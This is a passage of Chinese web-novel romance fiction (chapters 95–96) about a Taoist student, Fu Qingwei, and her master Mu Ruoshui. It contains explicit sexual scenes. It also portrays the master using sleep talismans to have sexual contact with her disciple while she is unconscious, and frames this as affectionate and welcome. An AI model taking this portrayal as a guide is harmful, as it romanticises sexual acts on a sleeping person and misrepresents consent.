傅清微白天看到回复点进她的头像ID:花果山在家母猴。 傅清微:【怎么不练括约肌了?】 甘棠:【[尴尬][尴尬][尴尬]】 傅清微:【你不对劲,终于do了不该开心吗?】 甘棠:【至少不应该是现场直播,我还是个女大】 傅清微:【想好了吗?几点约我吃饭坦白,我正要开车过去】 甘棠:【你先找老师改论文吧,我晚上约你,五点怎么样?餐厅地址晚点发你】 傅清微:【[微笑]】 甘棠:【我请客,我还给你买了礼物在我家,一起带给你】 傅清微:【哼,晚上交代不清楚,我还是会生气的】 哄好了很好哄的傅清微,甘棠放下手机,遮光性好的窗帘拉得严严实实,屋里暗得像是夜晚。 缠绵过的床榻似乎还留着靡靡的气息,但枕边已空无一人。 她抿了抿唇,拿起床头柜上的手机,里面塞满了另一个人的信息,昨夜夸过的又用文字说出来夸了一遍,甘棠面红耳赤地一直翻到了最后一条。 ██:【晚上见,宝贝】 甘棠:【姐姐晚上见】 甘棠:【我今天可能会晚点回来,要去见个朋友,你在家等我】 ██:【见什么人】 甘棠:【我和你说过的,我最好的朋友,当道士的那个】 对方正在输入…… 【好】 傅清微先去了趟学校,平时稀稀拉拉的办公室竟然所有老师都在,人从来没有这么齐过! 指导老师招手:“傅同学来啦。” 仿佛一个信号,所有老师的目光都朝她看过来,在空中交汇议论无声,心满意足间带着惋惜。 傅清微:“……” 幸好她今天没有穿道袍,也没有让穆若水进来。 从学校出来以后,傅清微找地儿吃了午饭,送穆若水回她租的房子,待到四点再单独出门。 穆若水没和她一起,她眼睛里容不得傅清微和别人亲密,甘棠又是她唯一的好朋友,傅清微不能为了她断情绝爱,当孤家寡人。穆若水只好眼不见为净,在家看电视。 现在傅清微不像从前一样弱,鬼见到她该害怕的是鬼,傅清微向她保证定时报平安。 四点五十。 甘棠和傅清微面对面坐在一家火锅店里,四宫格已经点好了,红油翻滚,白汤鲜浓。 照顾了傅清微不能吃太辣的口味。 甘棠把包装精美的礼物盒从桌子对面推过来,傅清微按住边缘,让它停留在正中央,说:“是不是交女朋友了?” “算是吧。”甘棠目光闪躲。 “什么叫算?” 傅清微视线落到甘棠伸出的右手光滑的手腕,眉梢动了一下,问道:“你怎么没戴我给你的五帝钱手串?” “出门洗了个澡,忘记了,应该在包里。” 甘棠低头翻包,在夹层里找到红艳艳的绳织手串,在她眼前晃了晃:“你看,没丢。”她戴在自己的右手腕上。 “戴好了。” “洗澡的时候也可以戴,这东西又无所谓沾不沾水。” “知道啦~” “女朋友怎么回事?” “边吃边说。”甘棠催促道,“你先把礼物收了。” 傅清微把礼物拿到自己卡座的身边,服务员推着小车过来摆食材,白瓷碟一样一样地端上桌。 甘棠抬手整理好脖子上的丝巾,执起筷子准备开动,傅清微突然叫了一声:“不对!” 甘棠被她吓得筷子都掉了:“怎、怎么了?” 傅清微眉头紧锁:“都五月份了,你为什么戴了一条丝巾?” 旁边的桌子纷纷侧目。 甘棠立马:“嘘,小点声。” 你俩都边缘性行为这么久了还不懂吗?非得在大庭广众之下喊出来! 傅清微说:“你不对劲。” 说着她起身走过来,指节灵活地出其不意把甘棠的丝巾抽开,露出一个红痕点点,深浅不一的脖子。 傅清微:“!!!” 甘棠两只手捂住自己的颈项,脸和脖子涨得一样红。 傅清微惊慌失色,连忙用身体挡住别桌的视线,把丝巾又给她围上了。 她光知道她有爱可以做,不知道会弄得这么狼藉斑驳,和小说里写的似的。 傅清微羡慕不已,小声感叹:“你吃这么好?” “……” 甘棠重新把丝巾绑好,整理妥帖,脸红红地坐在对面不说话。 傅清微也不说话,沉默着沉默着。 叮—— 她脑袋里有一根弦突然搭上了。 甘棠脖子上的印记,深的她认得出是吻痕,至于浅的那些应该也是,为什么会和自己前几天脖子上出现的一模一样?! 第95章 幸好傅清微一直有拍照留念的习惯。 她脖子上莫名其妙出现的红点, 不是完全没有引起她的怀疑。退一万步说,就算这是皮肤病要去看医生,也得让医生看看“蚊子包”长什么样。 傅清微把手机相册里的照片找出来, 递给甘棠参谋。 “帮我看看这是什么?” 甘棠眼前骤亮, 心跳加速, 差点嗑晕:妈妈我的cp又发糖了!还是do了的那种! 傅清微打断她:“先别嗑了!!!转动一下你的大脑。” 甘棠收起cp脑,仔细看了看, 把傅清微招到她身边坐下, 两人挤在卡座角落,秘密交流。 甘棠:“这不就是吻痕?” 傅清微:“真的假的?” 甘棠:“如假包换, 额, 以我不多的经验来说,概率高达百分之九十九。” 傅清微沉吟:“就没有可能是蚊子咬的?” 甘棠:“谁家蚊子这么大个?恐怕是你师傅那只大蚊子。” 傅清微已信了一半,唇角微微翘起来:“可不敢胡说啊。” 甘棠看着她荡漾的眼神, 手肘怼了怼她的胳膊, 打趣说:“姐妹,你吃这么好?” 傅清微忍不住哈哈两声,才谦虚道:“彼此彼此吧。” 两个吃得好的女大并肩坐在一起, 你看看我,我看看你,满眼都是心照不宣的笑。 人生最大的幸福莫过于和好姐妹一起被种满草莓。 甘棠想起自己家那个“女朋友”,笑容稍微浅了一些, 但傅清微沉浸在秘密解开的幸福里,没有注意到。 傅清微突然:“你们做到最后一步了吗?” 甘棠麻了:“你昨晚打电话不是听到了吗?” 傅清微自曝其短:“叫成那样也不一定就是到最后了呀。” 师尊吃她揉她的时候, 她也叫得很那个。 好在甘棠没有多想生性爱叫的是谁, 害羞地点了点头。 傅清微羡慕。 “怎么能认识这么短时间,就可以这么快进度的?” “好色, 加上寡久了就可以。”甘棠眼神遮掩,立马带到傅清微身上,“你呢?” “不好说。” 傅清微嘶了一声。 她现实以为的,不一定是真正的进度。 师尊那只大蚊子不知道背着她干了多少。 傅清微唯一确定地指着自己的脖子,说:“这是前几天留下的,我们还在老牛拉慢车。” 让穆若水听到老牛她又要生气了。 幸好师尊不在,傅清微可以随便蛐蛐她。 甘棠:“循序渐进也挺好的,反正你又不是没有爽到,边缘也是性行为。” 傅清微正色:“你说话尺度太大了,在外面注意点。” 甘棠吐槽她:“说得你尺度不大一样,敢做不敢说。” 傅清微瞪她。 甘棠说:“行行行,吃火锅吧,还没吃就要加汤了。” 傅清微坐到对面去,抓紧涮了几片素菜,祭祭自己空荡荡的五脏庙,甘棠在对面吃红锅,满嘴油亮,低头大快朵颐,在逃避什么似的。 该来的总会来的。 傅清微:“你和你女朋友是怎么认识的?什么时候脱单的,我怎么不知道?” 甘棠睫毛抖了一下,把自己想了一天的说辞整理了一遍,抬起头来。 “我们俩是一见钟情,她比我大几岁。脱单就在前几天,所以没来得及和你说。” “她是什么人?” “一个姐姐,已经上班了。” “恋爱经过呢?” “就是一见钟情,然后我俩看对眼了,她有一天来我家里坐,我俩就做了,顺其自然地在一起了。” “怎么不第一时间告诉我?” “你忙嘛不是。”甘棠咬着吸管喝杯子里的冰镇酸梅汤,鼓足勇气直视着她的眼睛,说,“而且在一起没几天,我想等感情稳定了再告诉你。” 有理有据,就是话太少了,不符合甘棠叨叨叨的性子。 傅清微目不转睛地盯着她,盯得甘棠如芒在背,屁股底下跟有针似的,忍住了挪动的冲动。 傅清微收回锐利的眼神,笑道:“什么时候带她见见我?” 甘棠如释重负地松了一口气,也弯唇道:“有机会一定。” 两人继续涮火锅,话题从涩涩的恋爱换成了毕业论文和八卦,傅清微边吃边听,偶尔讨论几句,火锅店里坐满了结伴而来的朋友和情侣,傅清微也短暂地回到了烟火凡间。 一顿饭从五点吃到七点半,傅清微期间给穆若水报了不下五次平安。 傅清微:【还在吃饭】 穆若水:【好】 傅清微:【喜欢你】 傅清微在七点钟发完消息,看向对面坐着的甘棠,问:“你不用给你女朋友发消息吗?她不查岗?” 甘棠立马拿起手机,正要补救地发信息,又放下来,道:“她在加班,我打扰她不太好。” 傅清微两只手十指交叠撑在桌面,手背托着自己的下巴,又用那种探究的眼神看着甘棠。 她总觉得她的好姐妹不太对劲。 甘棠:“你这种搞师徒恋的是不会理解的,天天正当理由腻在一起。” 傅清微扬唇,心思又回到了远方的穆若水身上。 七点半,两人散场,在商场大门外。 傅清微喝豆浆喝得有点醉了,又一次别离前,她拉着甘棠的手说:“我给你的五帝钱手串一定要戴。” “知道啦。” “还有,你最近是不是偶尔会觉得有点冷?” “你怎么知道?” “等着。”傅清微说,“我给你露一手。” 傅清微两手分别在她肩头和头顶碰了碰,将她三盏阳火拔高,融融的暖意从她四肢百骸里自然地渗透,流转全身。 甘棠在夏初发凉出汗的脚心温暖,热得差点想把丝巾解了,头脑也清明许多。 甘棠震惊:“姐们,不是,你是真道士啊。” 傅清微:“那还能有假?” 人有三盏火,在两肩和头顶。民间也有夜路莫回头的说法。 傅清微:“你前阵子应该有点倒霉,现在没事了,我已经把你的阳火拔高,说不定最近的运势都会好起来。” 甘棠彻底叹服:“大师,有没有考试必过符?我想上岸。” 傅大师大公无私道:“禁止作弊!” 两人分开,各找各的女朋友。 甘棠背对着傅清微往前走,刚刚暖和起来的身体后背又出了一身冷汗。 幸好她有先见之明,把女朋友留在了家里,否则就算她藏得好,傅清微说不定也能看出来。 她姐们不得了,甘棠一边自豪一边忐忑。 她怀揣着十几只小兔子,惴惴不安地坐上了回家的地铁。 刚进小区,手机便震了一下。 ██:【回来了?】 甘棠快步往回赶:【快到家楼下了】 ██:【抬头】 甘棠抬起眼帘,夏初的晚风里,一道黑白格子羊绒大衣的修长人影站在单元门口的树下,风吹动她背后亚麻色的及腰长卷发,面孔似盛放的蔷薇。 “姐姐!”甘棠喜形于色,冲女人跑了过去。 奔到面前准备伸手抱她的时候,甘棠把手腕的五帝钱摘了收进包里,打开了胳膊,等着她来抱自己。 下一秒她便被拥进了一个微凉柔软的怀抱。 甘棠脸蹭着她的颈项撒娇,说:“不是让你在家等我吗?” “我想早点见到你。” 甘棠顿时后怕。 要是傅清微送她回家的话…… 算了,没发生的事不要想了。 她牵起女人的手,往单元入口的大门走去,迎面撞见同栋的邻居,目光落向她们俩交握的手。 甘棠将女人往自己的身后带了带。 和邻居错身而过,两人进了电梯。 按钮在没有人触碰的情况下亮起正确的楼层,两人边接吻边从打开的电梯门跌跌撞撞地出来,楼道的感应灯应声而亮,甘棠被女人压在墙边激吻,她一边张唇回应一边手摸索着印上门锁的指纹。 房门短暂地开启,砰的一声关上。 一片黑暗的玄关里,衣物窸窸窣窣地散落在地。 甘棠的下巴枕在女人的肩窝里,或长或短地深喘,完全被她掌控所有感官。 最后绽放的那一刻,甘棠把脸抬起来,和女人接吻,连舌尖也在颤抖。 女人的手掌贴合在原处,轻轻地揉着她,延续漫长的感受。 甘棠缓过一阵,将女人推到沙发上,跪坐在她腰上,剥开了面料柔软的羊绒大衣,挑开里搭和内衣,俯身一寸寸亲了过去。 荒唐之后。 客厅的灯开了昏黄的一盏,新购置的唱片机唱针自动搭上,柔和的旋律舒缓着身体的余韵。 女人拢了一下浓密的长卷发,从甘棠身下坐起来,环着她的肩膀窝在沙发里,共盖一条毯子,底下的肌肤依然亲密无间。 她们的爱,天亮时和群星一起隐匿,黑夜里相拥着放纵。 * 傅清微在商场门口吹了会儿风。 把自己喝豆浆喝醉的脑子吹得清醒了些,原地给穆若水发消息:【吃完饭了】 穆若水:【。】 傅清微:【现在就回去】 穆若水:【给我开个定位】 傅清微:【[分享实时位置]】 傅清微去停车场开车,七八点正是人多的时候,导航路线好几段红色的,她给穆若水提前发语音说堵车会晚点到,放下手机慢慢地在车流里蛄蛹回去。 白车子停进地面停车位,傅清微拿了手机快步往家走。 还没到楼下,穆若水在晚风里被吹动的青袍衣袖就落入了她的眼帘。 傅清微心花怒放地跑了过去,几步路停在她面前却气喘吁吁,心跳在借此表达自己的负荷过度。 傅清微:“是不是等很久了?” 穆若水向她晃了晃更新实时位置的手机页面。 傅清微:“……” 算了,师尊只是聪明,不想站在楼下傻等又有什么错呢? 不影响她下楼接自己的心意。 傅清微上前给了女人一个大大的拥抱。 穆若水用不解释撒了一个微不足道的小谎,虽然能看到实时定位,但她在傅清微说回家的那一刻开始就在等她,最终提前了一刻钟下楼,只为了第一时间接收到她的目光。 傅清微抱得太紧了,穆若水捏了捏她的后脖颈。 有时是拒绝,有时是鼓励,傅清微按需理解。 月色正好,树影婆娑。 傅清微松开怀抱以后,两手扶着女人的侧腰,托着纤细腰肢,顺势凑近偏头吻上了穆若水的唇。 辗转轻咬,顶开她的齿关,寻着柔软纠缠。 穆若水闭上眼回应她。 傅清微温柔地吻着她,一只手从侧腰来到后背掌住,慢慢抚着她青袍下包裹的身体。 她含着女人温热的唇舌,心想:这和谈了有什么区别? 傅清微主动结束了这个过分漫长的吻。 额头相抵。 睁开眼的两人瞳仁里有着相似的情意的水光。 但有一个人不承认。 穆若水率先拉开距离,说:“再这样不经允许,就扣你一次奖励。” 傅清微:“师尊不喜欢吗?” 穆若水嘴硬:“不。” 傅清微再走近一步:“师尊不舒服吗?” 穆若水否决不来,哑口无言。 天底下没人能让她做不舒服的事。 和傅清微接吻简直不要太舒服,她含着她的舌头咂弄,舒服得快融化。 傅清微把她一直逼到了单元门口,说:“还有更舒服的事,师尊想要做吗?” 穆若水已经做过了。 然而她丝毫没想到有露馅的可能,还以为自己瞒得好好的。 穆若水一本正经:“为师不明白你在说什么。” 傅清微不紧不慢地噢了一声:“说错了,是徒儿想要。” “想要什么?” “想要师尊对我做更舒服的事。”傅清微看着她说。 穆若水的后背撞到了单元门的玻璃。 咚的一声。 光天化日,朗朗乾坤,她的好徒儿竟然会说出这种话! 穆若水把自己突然的脸热解释为恨铁不成钢的恼怒,然而这恼怒实在纯度太低,不足以支撑她色厉内荏的表象。 穆若水动了动唇,一个字没说出口,转身往楼上去了。 天知道她本来是下来等傅清微,然后一起回蓬莱观的。 傅清微缀在她后面,悠悠地按下电梯按键。 穆若水看着不断上升的电梯数字,恍然醒悟:“上来做什么?”她们不是要回去了吗? 傅清微装无辜:“我不知道呀,我都听师尊的。” 师尊整个人乱成一团毛线。 她在上上下下的电梯里理了理自己大脑打结的毛线团,发话说:“按1层。” “好嘟。” 穆若水连纠正她正常点说话的心力都没有了。 穆若水坐进了副驾驶,扣好安全带开始闭眼假寐,装死逃避。傅清微驱车离开小区,驶过明明暗暗的城市霓虹,往郊外的蓬莱观驶去。 轿车内小声播放着流行歌曲,傅清微唇角始终蕴含着浅浅的笑容。 两个小时的车程眨眼便到,穆若水把她飞掠带上去以后,连道观门都没进就去温泉泡澡了。 走前特意留下一句:不用给她送睡衣。 小三花绕着她的腿焦急打转,傅清微给她开了个罐头,小盘子放到屋檐下,自己回到房间,坐在书桌前两手托腮笑了笑,出了会神,然后又笑了笑。 作为一个曾经纯情的女大,在有了心上人以后,主动去搜索过不可描述的东西。 前戏、过程、结果,都看过一些。 在第一次见到脖子上出现的奇怪红印时,她不是没有往吻痕的方向想过,甚至她的第一直觉就是它,但很快被她打消了念头。 第一个排除了正确答案。 她太相信师尊的操守了。 怪就怪在她把穆若水想成了一个过于正直的人。 能和徒弟接吻,半夜徒儿喂奶还不拒绝的人,能是什么正经师尊? 还有,谁家师尊会动不动揉徒儿臀瓣,到出水为止。 把手指伸进徒儿嘴里,玩弄她的舌头,来回模拟那个的动作。 …… 累累“罪行”,罄竹难书。 既然师尊是个不正经的人,那所有的事都要推倒重来了。 首先就要从自己做过的那些绮丽荒唐的梦开始。 梦里她要么坐在穆若水怀里,要么躺在她的身下,每一个梦到最后都以她的颤抖和极致潮水结束。 清晰具体,有时候醒了连细节都能回忆起来,她是两只手还是一只手,是捧还是埋,她亲到的位置,过度舔舐吸吮皮肤时的刺痛感,牵动的情潮。 傅清微还是不太愿意相信所有的梦境都是真实发生的。 她对穆若水有滤镜。 她觉得师尊就算不正经,应该不至于如此不正经,每每趁自己睡着了对她做这些靡靡之事。 她宁愿相信前半段是真的,后面是自己在梦里脑补的。 当然,如果师尊真的这么衣冠禽兽,她也接受。 谁让自己喜欢她呢?她上的是自己,又不是别人。 再说她也爽到了。一想到不仅是梦里舒服,而且现实也高了,傅清微现在大脑皮层就有一种满足的兴奋感。 师尊隔三差五地伺候她真是辛苦了,她要对师尊再好一些。 傅清微接受了一些过去未曾深思的剧情,打开衣柜拿出睡衣,进了浴室洗澡。 她想着那些事,越洗越洗不干净,湿滑黏腻,最后只好收起念头,一心想着待会打坐要念什么经。 师尊不正经。 傅清微噗的一声笑出来。 * 穆若水在温泉泡池,逃避虽然可耻但有用,她的脑子完全恢复正常。 除了偶尔会想一些让傅清微更舒服的事,但夜深人静,情有可原,仍在她的控制范围之内。 月光照着青色的衣袍搭在池边的石头上。 比月光更美的身体自池水里走上岸,雪白的背脊如同一片神秘的湖,雪丘和森林长在它们应在的地方,丰润堆积,水草茂密。 青袍从空中摄来,掩盖了一座锦绣山河图。 穆若水不想穿白天穿过的中衣,将就披了外袍在身上,系好腰间的细绳。 青衫半掩,胸口一片凝白。 傅清微这时候应该在打坐,她不担心回去会被撞见。 实在被撞见的话……那就撞见吧,被看一眼又不会少块肉,还能见到傅清微脸红的样子。 思及后者,穆若水甚至有些跃跃欲试。 她回到道观,傅清微果然在卧室的床上打坐,盘腿掐诀,八风不动,眉目不惊。 穆若水在她面前走了几个来回,洗过澡后的返魂香馥郁,丝丝缕缕地钻入傅清微的鼻子,她鼻翼翕动,眉头跟着动了动,似乎要醒过来。 穆若水一眨不眨地盯着她,暗暗期待。 傅清微心神不定地摇摆片刻后,恢复了入定。 穆若水感到失落的同时,觉悟深刻地忏悔自己,不可以再做这些坏她修行的事! 她被身体的冲动冲昏了头脑,行事肆无忌惮惯了。 穆若水拿了睡衣去卫生间换上,用凉水洗了手又洗了脸,到院子吹风,直到傅清微打坐结束才背着手踏进房门。 “师尊?”傅清微放下盘着的腿,站起来踩在床沿的地面上。 “赏了会儿月,猫都睡了。” “我是不是打扰师尊睡觉了?” “没有。”穆若水向她走近,说,“我也是刚洗完澡不久,今天多泡了会儿。” 傅清微分不清打坐时闻到的是真的还是她心神不稳的幻觉,穆若水怎么说她就怎么信。 傅清微洗完手出来,说:“我关灯了?” “嗯。” 傅清微越过女人充满馨香的身体,来到床的里侧躺下。月光流淌进房间地面,也淌过傅清微只有夜晚才躁动的心。 当面对质是万万不可的,以穆若水的性格绝不会承认,而且她会学乖,再不在她身上留下罪证。 更会想别的方法让她察觉不到。 最糟糕的情况是,她不再上自己了。 落得竹篮打水一场空。 提前暴露对傅清微一点好处都没有,如今师尊在明她在暗,她刚好可以利用这个机会,先做个实验,她晚上究竟是不是趁自己睡着了对她上下其手为所欲为,具体是怎么做到的? 自己有没有办法想到应对之策,比如不睡过去而是保持清醒地和她做爱。 穆若水听着枕边的呼吸声,傅清微又没睡着,不知道在打什么鬼主意。 “师尊,你睡着了吗?”傅清微侧过头,在她的近处小声问。 穆若水装睡没听见。 紧接着她感到傅清微向她靠近,热气呼在她的脸颊。 女人的下巴被捏住轻轻地转过去,傅清微凑近吻住了她的唇。 在大脑没有做出理智判断前,身体的本能已经让她接受并回应了这个吻。 如果这是调教,那傅清微已经把她调教出来了。 两人含弄着对方的唇舌,手捧着对方的脸颊,指尖探入冰凉柔顺的发丝,越吻越深,越吻越动情。 两人的身体紧紧地抵在一起,隔着薄薄的寝衣,遮掩不了彼此的曲线。 傅清微的下唇被穆若水噙在口中轻抿,她搂着师尊的腰让自己整个人挤进她怀里,曲线相贴,轻轻地哼了一声。 穆若水的唇来到她的上唇,右手在傅清微侧腰那块搁着,时不时地指尖划过。 “师尊……嗯……师尊……”傅清微喘着气,又发出那种令她神魂颠倒的声音。 穆若水放弃对唇瓣的折磨,在下唇轻咬了一下之后长驱直入,捧住她的脸深深地吻她。 侧躺的姿势已经阻碍了她亲吻傅清微的深度,于是她手肘一撑,来到了傅清微的上方,软舌探进去,将这个吻延伸到了前所未有的深度。 傅清微心口剧烈起伏。 她的魂魄都要随着这个吻离开身体飞起来了。 傅清微圈住女人的后颈将她带下来,因为穆若水在她身上,所以二人贴合得前所未有的紧密。 她从女人的口中第一次听到了陌生的轻喘。 竟然是这样的……媚。 傅清微心跳的声音顿时盖过自己的耳膜。 穆若水脑子发昏,离开了傅清微的唇后并没有停下,细密的吻随之落在她的脸颊和侧颈,顺着颈部漂亮的线条往上,来到了晶莹小巧的耳朵。 温热的气息扑洒在耳谷,女人鼻尖抵在耳廓吐气,亲吻过后,张口含住了她的耳垂。 第96章 鼻尖是凉的, 抵着她的耳朵打转。而口腔是温热的,裹住了她的耳垂。 用唇瓣去抿,舌尖去勾。 傅清微的整只耳朵都染上浅浅的粉色, 躺在她的怀里, 咬唇任她欺弄。 自从有了师徒名分以后, 好久没有清醒地被这么对待了,傅清微一边轻咬下唇忍耐, 一边将脸偏过去, 好让她能尝到的地方更多,动作更方便。 很快她整只耳朵变得湿漉漉的, 舌尖往里钻的时候, 傅清微觉得自己快要死了,她第一次知道还可以这样。 怎么会这么……这么的…… 有人说大脑也是一种*器官,甚至比真正的器官还要敏感。 傅清微耳边都是女人呼吸的热气, 小巧的耳朵一点儿也没被放过, 她什么都听不到,只有舌尖搅弄的黏腻水声,成倍地放大在她的耳膜里。 扑通。 跳动的是心, 还是她急剧加速的血液? 薄薄的皮肤似乎抑制不了这种骤然的刺激,洇得发红,淡粉。 傅清微的意识越来越迷离,脑袋微微晃动, 搂着女人的腰无意识环住了后背,眩晕的感觉持续了很久。 之后她从身体的变化才反应过来, 她就这么……了。 好在她表现得不太明显, 穆若水没有察觉。 亲亲耳朵对穆若水来说只是前菜,她终于饶过了被她玩弄得通红狼藉的耳廓, 意犹未尽地舔舔细密的牙印,回到正面和傅清微接吻。 她舌尖烫得很,约莫是染上了傅清微的高温,傅清微和她吻了一会儿就受不了地呜咽。 穆若水心想:也太娇气了。 一面纵容地从她唇齿退出来些,浅浅地吻她。 好乖。 良久,她放开她的唇,让傅清微顺畅地呼吸,唇瓣来到她的下巴,轻轻地咬了一下。 不痛,有些发痒。 傅清微接到她的暗示,配合地仰颈。 穆若水顺着她漂亮的颈部线条往下,在睡衣领口前停住,转到侧颈,唇舌埋进去。 她的动作细致得让傅清微怀疑她不是想真的和她做什么,而是想让自己的气息覆盖她身体的每一处,是得到而不是想要。 磨人得很。 傅清微又不敢催她,生怕夜晚栖息在她身上的这只孔雀跑了。 师尊到底喜不喜欢她?还是占有欲作祟? 穆若水徘徊在她腰际的手贴着她的肌肤,指尖继续划了两下,引来傅清微的轻轻颤栗。 穆若水笑了一声。 傅清微:“……”是不是在嘲笑她? 傅清微气得咬住身上女人的嘴唇,穆若水用唇安抚着她,指腹沿着她锻炼紧实的腰线徐徐上掠,从边缘来到中间。 掌心触碰,五指聚拢。 傅清微瞳孔骤缩,立刻松开她的唇。 穆若水低头把她未出口的声音堵了回去。 女人灵活的指尖在上面打着转,时而按住揉弄,时而夹着拉扯。 傅清微紧紧地攀着她的肩,想要发出点什么,都被女人的唇齿淹没。 两个人都衣冠算得上整齐,谁又想得到傅清微正在经历她过分的对待。好不容易穆若水松了口,傅清微吐出的第一句话却是带着急促轻喘的:“吻我。” 二人又吻在一处,穆若水的手指也一直如她所愿地在那里。 温柔地捧着,捻着。 傅清微的睡衣好好地穿在身上。 她看不到,穆若水垂眸却可以看到自己的手如何作弄她。 每一个细微的变化,在她的眼里,在她的掌中。 穆若水得到了极大的满足感,比从前更甚。 穆若水下手的力道不由重了些,指腹同时用力。 “唔。”突然的刺激,傅清微和她纠缠的双唇不小心咬到了女人的舌尖。 穆若水顺势放开了她。 领口的扣子终于被解开了一颗,两颗,傅清微大气都不敢喘一口,她低头已经看到女人乌黑的脑袋了,傅清微轻轻地把自己的手落了上去,小心翼翼,温柔地顺着她的发丝。 穆若水停顿了一下,仿佛被这个动作鼓励,牙齿隔着薄薄的皮肤磨在骨头上,熟悉的痛感传来,傅清微闭眼忍痛,很快被舌尖的湿意覆盖,柔软地舔舐,她眯着眼轻喘。 穆若水抬起了头,傅清微察觉到她的视线,刚好自上而下地望过来,琥珀色的眸子水润多情。 穆若水抿了抿唇,不得不承认她喜欢此刻的对视,而不是她一个人闷头干活,傅清微陷入昏睡,人事不省。 夜渐渐深了。 “师尊,师尊……”傅清微耐不住她的温吞,主动抬手环紧了女人的脖颈。 穆若水低头亲着她的唇,断断续续地啄吻。 手掌包裹着她,大拇指拨弄得愈发快速,她脑海里所有的弦都在颤。 “师尊……抱我……再紧一点……” 穆若水低眸瞧她泪盈于睫,收紧了怀抱。 她的话极少,几乎没有。 但她抱着她的身体始终是热的,一直在升温。 傅清微仰脸,近乎挂在她身上,两条胳膊也越来越没有力气,最后手臂一松,跌回了床榻里。 穆若水亲了亲她的脸,左手来到她的领口,就在傅清微以为她要继续解她的睡衣扣子,穆若水将她的衣扣一颗一颗地扣上了。 “你该睡觉了。” “……”傅清微幽怨的眼神令穆若水不敢和她对视。 是她主动开始的,也是她戛然而止。 穆若水在心里叹了口气,难得承认自己的理亏。 傅清微曲起长腿,忍着不适的黏腻感,闭眼道:“那我睡了,师尊晚安。” “晚安。”穆若水亲了一下她的眉心。 傅清微入睡一向很快,这次她为了试验会不会在梦里继续,强忍着没有睡过去。 好在穆若水今夜先克制不住地开了头,没什么耐性,自以为傅清微睡了,就迫不及待地给她下安睡符。 傅清微闭着眼,感觉手背和额头被各画了一道奇怪的符号,接着她就无法控制地陷落了所有意识。 在昏睡的前一秒,她还在努力记住符号的笔画顺序。 …… 天亮了。 房间里不出意外只有她一个人,枕边空空如也。 醒来后,傅清微第一次感觉到了和以往的不一样,她周身十分清爽,被人里里外外地都清理过。 知道这些梦其实是现实以后,傅清微就有了更多的细节去回忆推敲。 在此之前,她先起个床洗漱。 卫生间的镜子一尘不染,傅清微站在它面前,先看到了自己脖子里的点点红痕。 不用怀疑,道观里的大蚊子昨夜又出动了。 她将纽扣解开一颗,左侧锁骨有一个红印,尺度介乎蚊子咬的和吻痕之间,穆若水斟酌再三,又留下了这一个。 她也不想做得太过分,但是她时常会让冲动战胜自己的理智。 她对傅清微的感情越深,欲念越浓,就越无法控制自己,去心甘情愿消除所有她制造的痕迹。 早晚有一天,她会原封不动地保留所有吻痕。 她种下来就很辛苦了,凭什么要挨个念咒祛除?观主就是会这样想的人。 傅清微刷完牙后,反锁卫生间的门,开始回忆细节。 除了眼睛不能睁开,身体朦胧隔了一层以外,梦里发生的一切都是真实的,除了之前做过的那些,穆若水第一次把手伸到了她以前想都不敢想的地方,还用上了膝盖,虽然隔了两层衣料,但还是潮得一塌糊涂。 她在梦里都快睡着的时候,穆若水来给她清理,不是湿巾,而是浸过热水拧干的毛巾。 观主第一次为人做这种事,动作生疏,总是无意间碰到。 傅清微迷迷糊糊间听到她嘀咕了一句:“怎么越擦越多?” 回忆到这里的傅清微:“……” 罢了,这些事还是留着晚上再多想吧。 白日不宜。 出了房门,穆若水不在院子里。 傅清微看到小三花在屋檐下吃罐罐,里面还剩下大半,穆若水应该是刚离开不久。 她也会害羞,还是不敢面对自己? 傅清微从林子里练完剑回来,穆若水忙碌的身影已经出现在厨房了。两只小猫在院子里打闹,互相舔毛。 傅清微招了招手,蹲下来薅了两把小三花,才放下剑往厨房走。 “师尊,昨晚你贴驱蚊符了吗?”傅清微疑惑的声音随着她的步伐接近,迈进了厨房,故意给穆若水看她狼藉的脖子,说,“我昨晚又被蚊子咬了。” “回来得太晚,为师给忘了。今晚一定。”穆若水承诺道。 昨夜真是太荒唐了。 穆若水差不多睁着眼一夜未眠。 她再没有人类的道德和羞耻心,也无法面对她亲手做下的事,起码今天不行。 明天说不定又可以了。 见穆若水短暂地端起了正经的师傅作态,傅清微掩下了衣领下锁骨的吻痕,逼得太急可能会适得其反。 既然师尊对她的身体越来越没有抵抗力,她会一点一点地养大她的胃口,直到她不得不清醒面对的那一天。 穆若水背手在自己的房间转了一圈,回来对院子里吃早餐的傅清微正色说:“今晚我睡自己房间,你待会再打扫一遍。” 傅清微夹了一筷小菜,说:“假期结束了,我们得出任务住酒店,师尊忘了?” 穆若水:“……” 穆若水转身给自己唰唰唰下了几道宁心符。 奈何以她现在的身体,人类的大部分道法对她完全不起作用。 她只能继续看着傅清微,白天看,晚上想法子抵御徒弟的诱惑,偏偏徒儿不是省油的灯。 她们又来到一个陌生的城市,开了一间熟悉的大床房。 傅清微打完坐后捧起她修长如玉的手端详,说:“师尊又该剪指甲了,我去拿工具包。” 穆若水伸出手,看着灯下她专注的侧影。 她很喜欢傅清微给她剪指甲,起初确实是因为她技术好,每每处理得她很舒适清爽,后来是喜欢在这时候她温柔专注的眼神,她们离得很近,能闻到彼此身上好闻的香气。 至于现在…… 穆若水抬起手掌挡住了傅清微亲过来的唇,低声呵斥:“你又干什么?” 傅清微痴缠地看她,说:“徒儿也不知道,可能是鬼迷心窍了。” 穆若水:“……鬼迷心窍就去多布两个阵!” 傅清微从她身上爬下来,说:“是。” 穆若水简直头痛。 头痛中夹杂着几不可察的欢喜。 傅清微把红线在屋子里布好,回来用湿纸巾给穆若水擦了一遍手指。 穆若水警惕地盯着她的嘴巴,生怕她又强制把自己的手指放进去,现在的她经不起一点诱惑。 傅清微用余光觑着女人,一根一根手指地擦完,又细致按摩了一遍指节,目光欲语还休,按得穆若水心浮气躁,主动抽回了手。 “还不睡觉?”她佯装严肃。 “这就睡了。”傅清微贴过来,细声撒娇说,“师尊,我心口疼。” “哪里疼?”穆若水和颜悦色道,“师尊给你挖出来看看好不好?” “……” 傅清微啪一下关了灯。 穆若水:“还疼吗?” 傅清微哪敢:“不疼了。” 女人修长的手却伸了过来,在她的心口不怀好意地抚弄着,说:“睡吧。” 傅清微:“……” 这让她怎么睡着觉!她就不该主动去招惹女人,没有她吃亏的份。 十分钟后,傅清微睡着了。 女人的手一直放松地揉着揉着,直到她自己也睡了过去。 第二天醒来,傅清微还在她手里,顶着她的掌心。 穆若水先她一步起了床。 